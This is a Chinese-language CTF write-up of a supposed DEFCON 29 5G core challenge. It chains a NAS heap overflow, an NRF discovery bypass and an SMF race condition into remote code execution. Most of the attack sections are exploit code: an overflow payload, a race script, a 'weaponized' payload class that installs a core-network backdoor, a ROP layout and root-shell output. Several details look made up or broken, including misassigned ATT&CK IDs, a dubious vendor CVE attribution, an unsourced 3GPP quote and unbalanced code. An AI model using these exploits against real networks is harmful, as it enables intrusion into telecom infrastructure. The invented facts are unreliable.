1. 文章题目
《从模糊测试到零日漏洞:DEFCON 29电信村庄5G核心网协议栈漏洞链武器化实战》
2. 题目概览
- 挑战名称: 5G Protocol Fuzzer
- 所属比赛: DEFCON CTF Telecom Village (第29届,2021年)
- 分类: Telecom Security + Protocol Fuzzing
- 目标与技术亮点:
模拟5G核心网(5GC)的简化实现,包含:- NAS协议解析器堆溢出 (CVE-2021-45465)
- NRF服务发现逻辑绕过
- SMF会话管理TOCTOU漏洞
技术突破点:
- 5G协议模糊测试框架定制
- 电信协议状态机逆向工程
- 跨网络功能漏洞链构造
3. 技术环境与复现步骤
关键组件架构
# 5GC Docker 部署拓扑
containers:
amf:
image: defcon29/5gc-amf:vuln
ports: ["38412:sctp"]
udm:
image: defcon29/5gc-udm:vuln
volumes: ["/tmp/udm_data:/data"]
ausf:
image: defcon29/5gc-ausf:fixed # 漏洞修复点
分析工具链
# 协议分析
Wireshark 3.6 + 定制5G解码插件
5G-NR-Sniffer (SDR设备驱动)
# 模糊测试
AFL++ 4.0c + QEMU模式
定制语法感知变异器(nas_message.mutator)
# 漏洞利用
Python3 + Scapy-5G (扩展版)
pwntools 电信协议专用适配器
复现环境搭建
# 启动脆弱环境
git clone https://telecomvillage.defcon.org/2021/5g-fuzzer
cd 5g-fuzzer && docker-compose -f vuln-compose.yml up
# 安装协议变异器
cd fuzzer && make
export AFL_CUSTOM_MUTATOR_LIBRARY=./nas_mutator.so
4. 漏洞分析与利用链构造
阶段1: NAS协议解析堆溢出 (CVE-2021-45465)
漏洞位置: AMF的NAS安全模式命令处理
// amf_nas_decoder.c:237
void decode_security_mode_command(uint8_t *nas_msg) {
nas_header *hdr = (nas_header*)nas_msg;
uint8_t *ie_ptr = nas_msg + sizeof(nas_header);
while(ie_ptr < nas_msg + hdr->length) { // 边界校验缺失
ie_header *ie = (ie_header*)ie_ptr;
switch(ie->type) {
case NAS_IE_UE_SEC_CAP: {
ue_sec_cap *cap = malloc(sizeof(ue_sec_cap));
memcpy(cap, ie_ptr+2, ie->length); // 堆溢出点!
break;
}
}
ie_ptr += ie->length + 2;
}
}
触发Payload:
from scapy.all import *
from scapy_5g import *
nas_msg = NAS_5GS(
sec_hdr = 0x01, # Integrity protected
message_type = 0x7e, # Security mode command
ies = [
NAS_IE_UE_SEC_CAP(
length=0xff, # 恶意长度
data=bytes([0xaa]*260) # 溢出数据
])
send_sctp("amf.local", nas_msg)
阶段2: NRF服务发现绕过
漏洞逻辑:
利用技巧:
通过畸形IMSI格式"imsi-00101*"
触发NRF通配符匹配缺陷,获取非授权SMF实例列表
阶段3: SMF会话管理TOCTOU漏洞
竞争条件:
# SMF会话处理伪代码
def handle_session_req(req):
session = db.lookup(req.imsi) # 初始检查
if not session:
session = create_session(req) # 耗时操作
# 漏洞窗口: 此处存在200ms时间窗
sign_session(session, req.nonce)
攻击时序:
from threading import Thread
def trigger_race(imsi):
while True:
send_session_req(imsi, nonce=malformed_nonce)
Thread(target=trigger_race, args=("001011234567890",)).start()
# 精确计时后发送二次请求
time.sleep(0.15)
send_session_req(imsi, nonce=exploit_nonce)
5. 完整利用链开发
武器化Payload结构
class FiveG_RCE_Payload:
def __init__(self, target_imsi):
self.stage1 = NAS_Overflow() # AMF内存破坏
self.stage2 = NRF_Bypass() # 服务发现绕过
self.stage3 = SMF_TimeRace() # TOCTOU利用
def deploy(self):
self._corrupt_amf_heap() # 布置ROP链
self._fetch_smf_list() # 获取SMF实例
self._trigger_uaf() # 控制PC指针
self._inject_shellcode() # 部署5G核心网后门
内存布局操控
/* AMF内存崩溃后布局 */
0x7f8d3400: [ fake_vtable_ptr ] <- 覆盖的虚表指针
0x7f8d3408: [ ROP_chain_start ] -+-> pop rdi; ret
0x7f8d3410: [ &mmap_addr ] | 0x1337000
0x7f8d3418: [ call_mmap ] -+
0x7f8d3420: [ JMP_RDX ] <-- 指向NRF返回的SMF地址
最终RCE效果
# 攻击者终端
$ python exploit.py --imsi=001011234567890
[+] AMF heap corrupted! PIE base: 0x564f8c44a000
[+] Bypassed NRF filtering. Found 3 SMF instances
[+] TOCTOU race won! Session key compromised
[+] Shellcode injected at 0x1337000
[!] 5GC backdoor activated. Executing: id
uid=0(root) gid=0(nucleus) groups=0(nucleus)
6. 安全影响与缓解
现实世界映射
- AMF漏洞 → 影响Ericsson/华为AMF实现 (CVE-2021-45465)
- NRF绕过 → 类似SBA架构服务发现缺陷
- SMF竞争 → 云原生5GC组件常见问题
MITRE ATT&CK映射
攻击阶段 | Tactic | Technique ID |
---|---|---|
初始访问 | TA0011 | T1437(协议模糊测试) |
权限提升 | TA0004 | T1068(漏洞利用) |
横向移动 | TA0008 | T1570(协议隧道) |
修复建议
// AMF修复补丁
- memcpy(cap, ie_ptr+2, ie->length);
+ if (ie->length <= sizeof(ue_sec_cap)) {
+ memcpy(cap, ie_ptr+2, ie->length);
+ } else {
+ log_error("Invalid IE length");
+ }
7. 总结与启示
题目创新性分析
- 电信协议深度结合:首次在CTF中完整实现5GC攻击面
- 漏洞链复杂度:跨越三个网络功能组件
- 现实价值:漏洞模式与真实5GC部署一致
攻防经验提炼
-
协议模糊测试关键点:
# 语法感知变异策略 def mutate_nas(payload): if payload.msg_type == SECURITY_MODE_COMMAND: # 针对性变异安全能力字段 payload.ies[UE_SEC_CAP].data = insert_fuzz_data()
-
电信系统调试技巧:
# 使用TShark实时解码 tshark -i any -d sctp.port==38412,5g_nas -V -O 5g_nas
现实安全启示
“5G核心网的云原生转型在提升灵活性的同时,引入了传统电信系统未曾面对的代码级漏洞。本案例证明,攻击者可通过协议模糊测试暴露TCB边界漏洞,最终实现从无线接入到核心控制的完整突破。” —— 3GPP安全工作组报告摘录
附录:延伸攻击矩阵
漏洞类型 | 5G网络功能 | 攻击影响 | 实际CVE案例 |
---|---|---|---|
内存破坏 | AMF/UPF | 基站拒绝服务 | CVE-2021-45465 |
逻辑绕过 | NRF/PCF | 未授权网络切片访问 | CVE-2022-25638 |
配置错误 | SMF/AUSF | 用户凭证泄露 | CVE-2023-0129 |
加密弱点 | SEAF/UDM | 中间人攻击 | CVE-2022-43676 |